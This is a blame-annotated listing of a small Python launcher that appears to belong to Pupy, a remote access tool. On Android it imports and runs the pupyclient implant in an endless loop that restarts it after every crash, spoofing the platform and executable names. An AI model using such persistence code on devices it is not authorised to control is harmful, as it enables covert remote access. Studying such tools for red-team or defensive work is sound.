2016-05-07 23:06:13 +00:00
|
|
|
#!/usr/bin/env python
|
2017-05-22 20:44:30 +00:00
|
|
|
# -*- coding: utf-8 -*-
|
2016-05-07 23:06:13 +00:00
|
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
|
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
|
|
|
|
|
|
|
import os
|
2017-05-22 20:44:30 +00:00
|
|
|
import platform
|
2017-05-23 10:22:49 +00:00
|
|
|
import time
|
2016-05-07 23:06:13 +00:00
|
|
|
|
2019-07-11 15:58:33 +00:00
|
|
|
os.environ['KIVY_NO_FILELOG'] = 'yes'
|
2017-05-22 20:44:30 +00:00
|
|
|
platform.system = lambda: 'android'
|
2016-05-07 23:06:13 +00:00
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2019-07-11 15:58:33 +00:00
|
|
|
import pupyclient
|
2017-05-23 10:22:49 +00:00
|
|
|
import sys
|
|
|
|
setattr(sys, 'executable', 'PythonService')
|
2017-05-22 20:44:30 +00:00
|
|
|
while True:
|
2017-05-23 09:47:38 +00:00
|
|
|
try:
|
2019-07-11 15:58:33 +00:00
|
|
|
pupyclient.__main__()
|
2017-05-23 09:47:38 +00:00
|
|
|
except Exception, e:
|
|
|
|
import traceback
|
|
|
|
traceback.print_exc(e)
|
2017-05-23 10:22:49 +00:00
|
|
|
time.sleep(10)
|